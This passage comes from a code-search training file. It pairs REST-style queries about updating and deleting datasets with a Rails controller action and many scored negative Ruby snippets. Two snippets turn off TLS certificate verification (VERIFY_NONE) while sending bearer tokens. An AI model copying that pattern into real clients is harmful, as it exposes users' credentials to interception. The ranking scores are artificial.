=\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <name>#{name}</name>\r\n <age>#{age}</age>\r\n </person>\"\r\n \r\n request = Net::HTTP::Post.new(@url)\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n \r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n response.body \r\n end" ]
[ "0.64057773", "0.63516057", "0.61581206", "0.61139226", "0.60565925", "0.5844556", "0.58094054", "0.5764553", "0.57569027", "0.5755463", "0.57161283", "0.56881595", "0.5617457", "0.56094533", "0.5606813", "0.560531", "0.55948615", "0.55882657", "0.555601", "0.55529916", "0.55377257", "0.55377257", "0.55377257", "0.55377257", "0.5506127", "0.5445624", "0.5438422", "0.54361534", "0.54120576", "0.5368014", "0.5360373", "0.5345122", "0.5341427", "0.5341427", "0.5334323", "0.5334323", "0.5334323", "0.5306168", "0.5298962", "0.52739626", "0.5265455", "0.52639896", "0.5234423", "0.5211787", "0.5211787", "0.5204141", "0.5191104", "0.5168359", "0.51570266", "0.51558906", "0.5153933", "0.51535046", "0.51308066", "0.5128544", "0.5126153", "0.5099542", "0.5099542", "0.5092339", "0.5091737", "0.5071747", "0.504652", "0.50383854", "0.5035358", "0.5035358", "0.50313014", "0.5013781", "0.50001514", "0.49857432", "0.4976297", "0.49748707", "0.49740362", "0.4965638", "0.49455184", "0.49399218", "0.49368212", "0.49235788", "0.4917255", "0.49030635", "0.4901311", "0.48923856", "0.4889302", "0.48879826", "0.48866698", "0.4876908", "0.4876041", "0.48752326", "0.4866259", "0.48619074", "0.48610044", "0.485998", "0.48516956", "0.4840482", "0.4837201", "0.48303387", "0.48285913", "0.48279053", "0.48215076", "0.48185152", "0.48158288", "0.4804176" ]
0.6340367
2
PUT /datasets/1 PUT /datasets/1.xml
def update @dataset = Dataset.find(params[:id]) respond_to do |format| if @dataset.update_attributes(params[:dataset]) flash[:notice] = 'Dataset was successfully updated.' format.html { redirect_to dataset_url(@dataset) } format.xml { head :ok } else format.html { render :action => "edit" } format.xml { render :xml => @dataset.errors.to_xml } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @dataset = Dataset.find(params[:id])\n\n respond_to do |format|\n if @dataset.update_attributes(params[:dataset])\n format.html { redirect_to(@dataset, :notice => 'Dataset was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @dataset.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @dataset.update_attributes(params[:dataset])\n format.html { redirect_to(@dataset, :notice => 'Dataset was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @dataset.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n # raise(\"boobies!\")\n @dataset = Dataset.find(params[:id])\n # raise(params[:dataset][:dataset_variables_attributes][\"0\"].class.to_s)\n respond_to do |format|\n if @dataset.update_attributes(params[:dataset])\n flash[:notice] = 'Dataset was successfully updated.'\n format.html { redirect_to(@dataset) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @dataset.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @dataset.update_attributes(params[:dataset])\n format.html { redirect_to @dataset, notice: 'Dataset was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @dataset.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @dataset.update(dataset_params)\n format.html { redirect_to @dataset, notice: 'Dataset was successfully updated.' }\n format.json { render :show, status: :ok, location: @dataset }\n else\n format.html { render :edit }\n format.json { render json: @dataset.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_dataset\n @dataset = Dataset.find(params[:id] || params[:dataset_id])\n end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n end", "def update\n @image_dataset = ImageDataset.find(params[:id])\n\n respond_to do |format|\n if @image_dataset.update_attributes(params[:image_dataset])\n flash[:notice] = 'ImageDataset was successfully updated.'\n format.html { redirect_to(@image_dataset) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @image_dataset.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put_datastream(pid, dsID, xml)\n uri = URI.parse(@fedora + '/objects/' + pid + '/datastreams/' + dsID ) \n RestClient.put(uri.to_s, xml, :content_type => \"application/xml\")\n rescue => e\n e.response \n end", "def update\n if @dataset.update(dataset_params)\n redirect_to @dataset, notice: 'Dataset was successfully updated.'\n else\n redirect_to datasets_path, notice: 'Dataset could not be updated.'\n end\n end", "def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end", "def update\n do_patch { return } # check if patch and do submission and return early if it is a patch (submission)\n # otherwise this is a PUT of the dataset metadata\n check_status { return } # check it's in progress, clone a submitted or raise an error\n respond_to do |format|\n format.json do\n dp = if @resource\n DatasetParser.new(hash: params['dataset'], id: @resource.identifier, user: @user) # update dataset\n else\n DatasetParser.new(hash: params['dataset'], user: @user, id_string: params[:id]) # upsert dataset with identifier\n end\n @stash_identifier = dp.parse\n ds = Dataset.new(identifier: @stash_identifier.to_s) # sets up display objects\n render json: ds.metadata, status: 200\n end\n end\n end", "def update\n prep_dataset_form\n @dataset.update_attributes!(params[:dataset])\n publish_press_item(\"Dataset updated: #{@dataset.title}\") if attachments_updated?\n \n respond_to do |wants|\n flash[:notice] = 'Dataset was successfully updated.'\n wants.html { redirect_to(@dataset) }\n wants.xml { head :ok }\n end\n end", "def set_dataset\n\n @dataset = Dataset.find_by_key(params[:id])\n unless @dataset\n @dataset = Dataset.find(params[:dataset_id])\n end\n raise ActiveRecord::RecordNotFound unless @dataset\n end", "def update\n if @dataset.update(dataset_params)\n redirect_to @dataset\n flash[:success] = \"Dataset was successfully updated.\"\n else\n render action: 'edit'\n end\n end", "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end", "def update\n\t\t@data_set = DataSet.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tif @data_set.update_attributes(params[:data_set])\n\t\t\t\tformat.html { redirect_to @data_set, notice: 'Data set was successfully updated.' }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"edit\" }\n\t\t\t\tformat.json { render json: @data_set.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def set_data_set\n @data_set = DataSet.find_by(:id => params[:dataset_id])\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def set_dataset\n # TODO\n #@dataset = DatasetService.get_dataset\n end", "def update!(**args)\n @dataset_id = args[:dataset_id] if args.key?(:dataset_id)\n end", "def update!(**args)\n @datasets = args[:datasets] if args.key?(:datasets)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end", "def update!(**args)\n @datasets = args[:datasets] if args.key?(:datasets)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end", "def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def destroy\n @dataset = Dataset.find(params[:id])\n @dataset.destroy\n\n respond_to do |format|\n format.html { redirect_to(datasets_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @dataset = Dataset.find(params[:id])\n @dataset.destroy\n\n respond_to do |format|\n format.html { redirect_to(datasets_url) }\n format.xml { head :ok }\n end\n end", "def update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}/volumes\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.request_uri)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n\n end", "def set_dataset\n @dataset = Dataset.find_by(key: params[:id])\n @dataset ||= Dataset.find(params[:dataset_id])\n raise ActiveRecord::RecordNotFound unless @dataset\n end", "def create_update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.path)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n end", "def replace_dataset(dataset_id, csv_data)\n authenticate unless authenticated?\n headers = {\n 'Content-Type': 'text/csv',\n 'Authorization': \"Bearer #{@access_token}\",\n 'Accept': 'application/json'\n }\n endpoint = \"#{@@datasets_endpoint}/#{dataset_id}/data\"\n response = RestClient::Request.execute(\n url: endpoint,\n method: :put,\n headers: headers,\n payload: csv_data\n )\n return response\n end", "def destroy\n @dataset = Dataset.find(params[:id])\n @dataset.destroy\n\n respond_to do |format|\n format.html { redirect_to datasets_url }\n format.xml { head :ok }\n end\n end", "def update\n #chart = Chart.find(params[:chart_id])\n chart = Chart.where(\"id = ? AND user_id = ?\", params[:chart_id], current_user.id).limit(1)[0]\n data_set = chart.data_sets.find(params[:id])\n \tdata_set.update_attributes(params[:data_set])\n\n respond_with(data_set) do |format|\n if data_set.valid?\n format.json { render json: { success: true, data_sets: data_set } }\n else\n format.json { render json: { success: false, errors: data_set.errors } }\n end\n end\n end", "def set_dataset_datum\n @dataset_datum = DatasetDatum.find(params[:id])\n end", "def set_dataset\n @dataset =\n Dataset.find_with_metadata(params[:id], user_token(@site, true))\n end", "def set_datasets\n @datasets = current_user.get_datasets 'all'\n\n @metadata_array = []\n @metadata_array = Dataset.get_metadata_list(@datasets.map{|ds| ds.id}) if @datasets\n\n # TODO: Find a better way to do this\n @datasets.each_with_index do |ds, i|\n ds.metadata = @metadata_array['data'][i]['attributes']\n end\n end", "def set_data_set\n @data_set = DataSet.find(params[:id])\n end", "def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end", "def update\n respond_to do |format|\n if @qdataset.update(qdataset_params)\n format.html { redirect_to @qdataset, notice: 'Qdataset was successfully updated.' }\n format.json { render :show, status: :ok, location: @qdataset }\n else\n format.html { render :edit }\n format.json { render json: @qdataset.errors, status: :unprocessable_entity }\n end\n end\n end", "def put endpoint, data\n do_request :put, endpoint, data\n end", "def update!(**args)\n @data_labeling_annotated_datasets = args[:data_labeling_annotated_datasets] if args.key?(:data_labeling_annotated_datasets)\n @dataset = args[:dataset] if args.key?(:dataset)\n @dataset_display_name = args[:dataset_display_name] if args.key?(:dataset_display_name)\n end", "def set_data_set\n @data_set = DataSet.find(params[:id])\n end", "def set_data_set\n @data_set = DataSet.find(params[:id])\n end", "def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def destroy\n @dataset.destroy\n\n respond_to do |format|\n format.html { redirect_to(datasets_url) }\n format.xml { head :ok }\n end\n end", "def create\n @dataset = Dataset.new(params[:dataset])\n\n respond_to do |format|\n if @dataset.save\n format.html { redirect_to(@dataset, :notice => 'Dataset was successfully created.') }\n format.xml { render :xml => @dataset, :status => :created, :location => @dataset }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @dataset.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @dataset = args[:dataset] if args.key?(:dataset)\n @error = args[:error] if args.key?(:error)\n @model = args[:model] if args.key?(:model)\n @request = args[:request] if args.key?(:request)\n end", "def create\n @dataset = Dataset.new(params[:dataset])\n\n respond_to do |format|\n if @dataset.save\n flash[:notice] = 'Dataset was successfully created.'\n format.html { redirect_to dataset_url(@dataset) }\n format.xml { head :created, :location => dataset_url(@dataset) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @dataset.errors.to_xml }\n end\n end\n end", "def update!(**args)\n @dataset_uri = args[:dataset_uri] if args.key?(:dataset_uri)\n @force = args[:force] if args.key?(:force)\n @schema_config = args[:schema_config] if args.key?(:schema_config)\n end", "def create\n @dataset = Dataset.new(params[:dataset])\n\n respond_to do |format|\n if @dataset.save\n flash[:notice] = 'Dataset was successfully created.'\n format.html { redirect_to(@dataset) }\n format.xml { render :xml => @dataset, :status => :created, :location => @dataset }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @dataset.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_workspace_dataset\n @workspace_dataset = WorkspaceDataset.find(params[:id])\n end", "def update\n respond_to do |format|\n if @data_set.update_attributes(params[:data_set])\n @data_set.set_visibility(current_user, params)\n flash[:notice] = 'DataSet was successfully updated.'\n format.html { redirect_to(@data_set) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @data_set.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @dataset_datum.update(dataset_datum_params)\n format.html { redirect_to @dataset_datum, notice: 'Dataset datum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @dataset_datum.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(context, name, should)\n res = context.transport.put_request(context, \"blobstores/#{should[:type]}/#{name}\", should[:attributes])\n\n context.err(res.body) unless res.success?\n end", "def update_dataset request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_update_dataset_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::AutoML::V1::Dataset.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def dataset_params\n params.require(:dataset).permit(:name, :index_name, :document_type, :data)\n end", "def update_array_for_tenant(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/{tenantId}/arrays/{arrayId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update_dataset request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_update_dataset_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::AutoML::V1beta1::Dataset.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def update!(**args)\n @dataset = args[:dataset] if args.key?(:dataset)\n @dataset_display_name = args[:dataset_display_name] if args.key?(:dataset_display_name)\n @migrate_data_labeling_annotated_dataset_configs = args[:migrate_data_labeling_annotated_dataset_configs] if args.key?(:migrate_data_labeling_annotated_dataset_configs)\n end", "def dataset_params\n params.require(:dataset).permit(:name, :description, :contents)\n end", "def put(request)\n error = validate(request)\n return error if error\n\n code =\n if data_store.exists?(request.rest_path)\n set_data(request, request.rest_path, request.body, :data_store_exceptions)\n 200\n else\n name = request.rest_path[4]\n data_store.create(request.rest_path[0..3], name, request.body, :create_dir)\n 201\n end\n already_json_response(code, request.body)\n end", "def update!(**args)\n @data_freshness = args[:data_freshness] if args.key?(:data_freshness)\n @single_target_dataset = args[:single_target_dataset] if args.key?(:single_target_dataset)\n @source_hierarchy_datasets = args[:source_hierarchy_datasets] if args.key?(:source_hierarchy_datasets)\n end", "def put(path, data, params = {}, request_options = {})\n request(:put, path, data, params)\n end", "def api_put(path, data = {})\n api_request(:put, path, :data => data)\n end", "def set_file\n @file = DataSet.find(params[:id])\n end", "def put(*args)\n request :put, *args\n end", "def update!(**args)\n @dataset = args[:dataset] if args.key?(:dataset)\n @dataset_display_name = args[:dataset_display_name] if args.key?(:dataset_display_name)\n end", "def update!(**args)\n @dataset = args[:dataset] if args.key?(:dataset)\n @dataset_display_name = args[:dataset_display_name] if args.key?(:dataset_display_name)\n end", "def append_dataset(dataset_id, csv_data)\n authenticate unless authenticated?\n headers = {\n 'Content-Type': 'text/csv',\n 'Authorization': \"Bearer #{@access_token}\",\n 'Accept': 'application/json'\n }\n endpoint = \"#{@@datasets_endpoint}/#{dataset_id}/data?updateMethod=APPEND\"\n response = RestClient::Request.execute(\n url: endpoint,\n method: :put,\n headers: headers,\n payload: csv_data\n )\n return response\n end", "def destroy\n @dataset.destroy\n\n respond_to do |wants|\n wants.html { redirect_to(datasets_url) }\n wants.xml { head :ok }\n end\n end", "def update\n @cluster = Cluster.find(params[:id])\n\n respond_to do |format|\n if @cluster.update_attributes(params[:cluster])\n flash[:notice] = 'Cluster was successfully updated.'\n format.html { redirect_to(@cluster) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @cluster.errors, :status => :unprocessable_entity }\n end\n end\n end", "def http_put(path, data, content_type = 'application/json')\n http_methods(path, :put, data, content_type)\n end", "def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend", "def put(path, data = {})\n request 'PUT', path, body: data.to_json\n end", "def show\n @dataset = Dataset.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @dataset }\n end\n end", "def show\n @dataset = Dataset.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @dataset }\n end\n end", "def update!(**args)\n @doc_ai_dataset = args[:doc_ai_dataset] if args.key?(:doc_ai_dataset)\n @documents = args[:documents] if args.key?(:documents)\n @output_path = args[:output_path] if args.key?(:output_path)\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def index\n @datasets = Dataset.all\n end", "def index\n @datasets = Dataset.all\n end", "def index\n @datasets = Dataset.all\n end", "def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end", "def put!\n request! :put\n end", "def set_datafile\n @datafile = Datafile.find(params[:id])\n end", "def update!(**args)\n @annotated_dataset = args[:annotated_dataset] if args.key?(:annotated_dataset)\n end", "def create\n authorize! :create, Dataset\n @dataset = Dataset.new(dataset_params)\n respond_to do |format|\n if @dataset.save\n format.html { redirect_to edit_dataset_path(@dataset.key) }\n format.json { render :edit, status: :created, location: edit_dataset_path(@dataset.key) }\n else\n format.html { render :new }\n format.json { render json: @dataset.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @datasets = Dataset.published\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @datasets }\n end\n end", "def update!(**args)\n @doc_ai_dataset = args[:doc_ai_dataset] if args.key?(:doc_ai_dataset)\n @documents = args[:documents] if args.key?(:documents)\n @export_folder_path = args[:export_folder_path] if args.key?(:export_folder_path)\n @training_split_ratio = args[:training_split_ratio] if args.key?(:training_split_ratio)\n end", "def update_metadata(dataset, metadata = {})\n metadata = get_metadata(metadata)\n metadata.each { |k, v| dataset.metadata[k] = v }\n dataset.save\n end", "def put(path, data=nil)\n request(:put, path, data)\n end", "def create\n @dataset = Dataset.new(params[:dataset])\n current_user.datasets << @dataset\n\n respond_to do |format|\n if @dataset.save\n format.html { redirect_to @dataset, notice: 'Dataset was successfully created.' }\n format.json { render json: @dataset, status: :created, location: @dataset }\n else\n format.html { render action: \"new\" }\n format.json { render json: @dataset.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @dataset.update_attributes(params.require(:dataset).permit(:authenticity_token,\n :title, :project_phase, :access_code, :include_license, :usagerights, :tag_list,\n :abstract, :published, :spatialextent, :'datemin(1i)', :'datemin(2i)',\n :'datemin(3i)', :'datemax(1i)', :'datemax(2i)', :'datemax(3i)', :temporalextent,\n :taxonomicextent, :design, :dataanalysis, :circumstances, :comment, owner_ids: [],\n project_ids: []))\n\n @dataset.refresh_paperproposal_authors if params.require(:dataset)[:owner_ids].present?\n # TODO: should not refresh all authors of the pp\n @dataset.log_edit('Metadata updated')\n\n # invalidate exported xls file\n ExportedFile.invalidate(@dataset.id, :xls)\n\n redirect_to dataset_path, notice: 'Sucessfully Saved'\n else\n last_request = request.env['HTTP_REFERER']\n render action: (last_request == edit_dataset_url(@dataset) ? :edit : :create)\n end\n end", "def set_qdataset\n @qdataset = Qdataset.find(params[:id])\n end", "def destroy\n @image_dataset = ImageDataset.find(params[:id])\n @image_dataset.destroy\n\n respond_to do |format|\n format.html { redirect_to(image_datasets_url) }\n format.xml { head :ok }\n end\n end", "def update!(**args)\n @data_schema = args[:data_schema] if args.key?(:data_schema)\n @input_uris = args[:input_uris] if args.key?(:input_uris)\n end", "def set_datasets\n # Force admin token for getting user information (show/hide delete button)\n datasets = @site.get_datasets(current_user)\n @datasets = process_datasets datasets\n end" ]
[ "0.6526648", "0.6329613", "0.6190557", "0.61218303", "0.6041167", "0.5998395", "0.59983724", "0.59983724", "0.59983724", "0.59983724", "0.59376717", "0.59293675", "0.58789486", "0.58299065", "0.5808605", "0.57836634", "0.5779558", "0.568264", "0.5639311", "0.5623167", "0.5608779", "0.55692", "0.5565179", "0.55448794", "0.5522276", "0.5522276", "0.55159616", "0.5510936", "0.55034435", "0.55034435", "0.54899985", "0.54854023", "0.54741913", "0.5465506", "0.5409536", "0.540816", "0.539845", "0.5397034", "0.5383908", "0.53814507", "0.5371457", "0.5348312", "0.53332937", "0.53264284", "0.5317099", "0.5317099", "0.53146213", "0.5314016", "0.5288716", "0.5278002", "0.5268056", "0.5265518", "0.5251395", "0.52192396", "0.52130884", "0.51992893", "0.51961714", "0.51723355", "0.51683795", "0.5164787", "0.5127675", "0.51199704", "0.51196915", "0.5106778", "0.5076652", "0.5075086", "0.5070899", "0.5067655", "0.5065528", "0.5065307", "0.5058115", "0.5058115", "0.5055077", "0.5035279", "0.50140375", "0.50132644", "0.5008433", "0.50019586", "0.49994734", "0.49994734", "0.4980588", "0.49659848", "0.4964564", "0.4964564", "0.4964564", "0.4964472", "0.49531242", "0.49498233", "0.4943707", "0.4942848", "0.49344423", "0.49338192", "0.49295676", "0.49232352", "0.49191165", "0.4913327", "0.49074498", "0.49060246", "0.4903", "0.48998758" ]
0.6552326
0
DELETE /datasets/1 DELETE /datasets/1.xml
def destroy @dataset = Dataset.find(params[:id]) @dataset.destroy respond_to do |format| format.html { redirect_to datasets_url } format.xml { head :ok } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @dataset = Dataset.find(params[:id])\n @dataset.destroy\n\n respond_to do |format|\n format.html { redirect_to(datasets_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @dataset = Dataset.find(params[:id])\n @dataset.destroy\n\n respond_to do |format|\n format.html { redirect_to(datasets_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @dataset.destroy\n\n respond_to do |format|\n format.html { redirect_to(datasets_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @dataset.destroy\n\n respond_to do |wants|\n wants.html { redirect_to(datasets_url) }\n wants.xml { head :ok }\n end\n end", "def delete\n dataset.delete\n end", "def destroy\n @image_dataset = ImageDataset.find(params[:id])\n @image_dataset.destroy\n\n respond_to do |format|\n format.html { redirect_to(image_datasets_url) }\n format.xml { head :ok }\n end\n end", "def delete(*args)\n dataset.delete(*args)\n self\n end", "def destroy\n @dataset.destroy\n redirect_to datasets_url\n flash[:success] = \"Dataset was successfully deleted.\"\n end", "def destroy\n @dataset_datum.destroy\n respond_to do |format|\n format.html { redirect_to dataset_data_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @dataset.destroy\n redirect_to datasets_url, notice: 'Dataset was successfully destroyed.'\n end", "def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end", "def destroy\n @data_set.destroy\n\n respond_to do |format|\n format.html { redirect_to(data_sets_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n\t\t@data_set = DataSet.find(params[:id])\n\t\t@data_set.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to data_sets_url }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend", "def delete_dataset(domo_dataset_id)\n authenticate unless authenticated?\n response = RestClient::Request.execute(\n url: \"#{@@datasets_endpoint}/#{domo_dataset_id}\",\n method: :delete,\n headers: headers('application/json')\n )\n return response\n end", "def delete force: nil\n ensure_connection!\n resp = connection.delete_dataset dataset_id, force\n if resp.success?\n true\n else\n fail 